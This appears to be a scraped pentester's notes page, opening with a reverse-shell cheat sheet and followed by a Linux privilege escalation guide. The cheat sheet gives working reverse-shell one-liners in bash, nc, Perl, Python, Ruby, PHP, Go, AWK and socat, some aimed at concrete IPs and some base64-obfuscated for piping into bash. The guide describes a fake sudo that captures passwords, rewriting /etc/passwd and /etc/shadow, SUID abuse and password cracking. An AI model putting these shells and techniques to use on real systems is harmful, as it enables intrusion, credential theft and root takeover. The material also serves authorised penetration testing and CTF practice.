githubEdit

Linux Priv Esca

Tools

**Tools** 
https://github.com/ShutdownRepo/shellerator
https://github.com/0x00-0x00/ShellPop
https://github.com/cybervaca/ShellReverse
https://liftoff.github.io/pyminifier/
https://github.com/xct/xc/
https://weibell.github.io/reverse-shell-generator/
https://github.com/phra/PEzor

Linux

# Bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f
nc -e /bin/sh 10.11.1.111 4443
bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1

# Bash B64 Ofuscated
{echo,COMMAND_BASE64}|{base64,-d}|bash 
echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash
bash -c {echo,COMMAND_BASE64}|{base64,-d}|{bash,-i} 
echo COMMAND_BASE64 | base64 -d | bash 

# Perl
perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c '__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1\'

# Python IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' 

# Ruby
ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# PHP:
# /usr/share/webshells/php/php-reverse-shell.php
# http://pentestmonkey.net/tools/web-shells/php-reverse-shell
php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
$sock, 1=>$sock, 2=>$sock), $pipes);?>

# Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

# AWK
awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

# Socat
socat TCP4:10.10.10.10:443 EXEC:/bin/bash
# Socat listener
socat -d -d TCP4-LISTEN:443 STDOUT

Windows

Tips

Linux Privilege Escalation

Privilege Escalation (PrivEsc) is the act of exploiting a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. Once you have root privileges on Linux, you can get sensitive information in the system.

Automation

There are some tools for investigating automatically.

Messages When Logged In

After logged in the target system, don’t miss the messages. We might find interesting information.

OS Information

Find OS/Kernel Vulnerability

If we run uname -a and get the OS version, search vulnerabilities.

For example above, we can search ubuntu 4.4.0-31-generic in search engines.

Interesting Information

Kernel Information

Hardware Information

SSH Public Key Forgery

If we have write permission to .ssh/authorized_keys, we can insert our SSH public key to this file and login as the user.

In local machine, generate SSH private/public keys as below:

In target machine, paste the content of the public key to .ssh/authorized_keys:

In local machine, we can login using the private key:

Open Ports

Access Internal Services From Outside

If we discover a listenning port that cannot be accessed externally as below, we can access the port by port forwarding or reverse port forwarding.

There are various methods to do that.

Now we can access to http://localhost:8080 in local browser. That means we now connected to http://127.0.0.1:8080 of remote machine.

Running Processes

Using PSPY

By using pspyarrow-up-right, we can fetch processes without root privileges.

Dump Information

If some process (like ping) is running as root, you may be able to capture the interesting information using tcpdump.

Override Command

If some command is executed in processes as our current user, we can override the command to our arbitrary command. Assume sudo cat /etc/shadow command is executed in the process. sudo command asks the password of the current user. So if we don't have the current user's password yet, worth getting the password.

To do so, we can create the fake sudo command under the current user’s home directory.

Then insert a payload in /home/<user>/bin/sudo. This sudo command reads the value of the password in prompt and write the value to “password.txt”.

In addition, we need to export the /home/<user>/bin to the PATH on the top of the /home/<user>/.bashrc.

Wait a while, we should see the “password.txt” is created.

Now we get the current user password.

Process Tracing

Sometimes we can retrieve the sensitive information by reading sequential processes with stract.

Running Services

To list all running services in Linux, use the following command.

Service Logs

Using journalctl, we can see logs of services running on systemd.

Logging

Watch Logs in Real Time

We can watch logs in real time as below. -f option is used for dynamically outputting logs.

Sensitive Files with Given Keywords

The "find" command searches files in the real system.

Exclude Path

We can exclude specific directory with -not -path option of find command.

SUID/SGID (Set User ID/ Set Group ID)

It allows users to run an executable as root privilege.

If you'll get some SUID files, research the information of them using GTFOBinsarrow-up-right.

Find

If the "find" command is set as SUID, you can execute some commands as root privileges.

Cputils

If the "cputils" is set as SUID, you can copy the sensitive file to another one.

Pandoc

  1. Copy /etc/passwd and Update the Root Line

Then update "root:x:..." to "root:password123:...".

  1. Replace with Our New Passwd File

Using pandoc command, we can replace the original /etc/passwd with our updated passwd file.

Now we can login as root using new password.

Firejail

This exploitarrow-up-right is useful.

Writable Directories & Files

Capabilities

To find files that are set capabilities.

cap_chown

First we need to check the current user id by executing 'id' command.

Then execute the following command to modify the file owner to the current user. Replace the attribute numbers with the current user id.

cap_setuid

cap_net_raw

Bypass file read permission checks and directory read and execute permission checks.

Set Capabilities

If you found the setcap with SUID, you can manipulate commands like Python.

Then get a root shell.

Override /etc/passwd, /etc/shadow

/etc/passwd

If we have write permission of /etc/passwd by some means, we can modify this file as desired for us. First check the content of that file with cat /etc/passwd.

By removing this x character in the root line, we can become root without password. Below

After that, we can get a shell as root using the following command.

/etc/shadow

If we have write permission of /etc/shadow by some means, we can modify the password for each user. First of all, create a new password using openssl.

After generating the hash, update the root password hash to this hash ($6$salt$I…) in /etc/shadow.

Now we can get a shell as root with the password "password".

Sensitive Contents in Files

Disks (Drives)

List disks information on the target system.

If we find the drives, we can mount it.

Crack User Passwords

If we can access /etc/passwd and /etc/shadow as well, we can crack user passwords using unshadow and John The Ripper.

1. Copy Files

2. Combines Two Files

3. Crack Passwords

Execute Commands as Root Privilege

Change Shebang in Shell Script

Add "-p" option at the first line to execute the script as root privilege.

Use the Set User ID (SUID)

If you can change permission of the /bin/bash , add SUID to the file.

Then you execute it as root privilege by adding "-p" option. You'll be able to pwn the target shell.

Update Sensitive Information

1. Change Password of Current User

We need to know the current user's password.

2. Add Another Root User to /etc/shadow

  1. Generate New Password

    Copy the output hash.

  2. Add New Line to /etc/shadow in Target Machine

    You need to do as root privileges.

  3. Switch to New User

    To confirm, switch to generated new user.

Display the Content of Files You Don't Have Permissions

Using "more" command.

1. Make the Terminal's Window Size Smaller

2. Run "more" Command

The text like "--More--(60%)" will be appeared.

3. Press 'v' on Keyboard to Enter Vim Mode

4. Enter ':e ~/somefile'

Password Guessing

Generate Passwords From Victim Information

Using Cupparrow-up-right, we can generate a password list from victim's personal information.

Generate Passwords From Old One

References

Last updated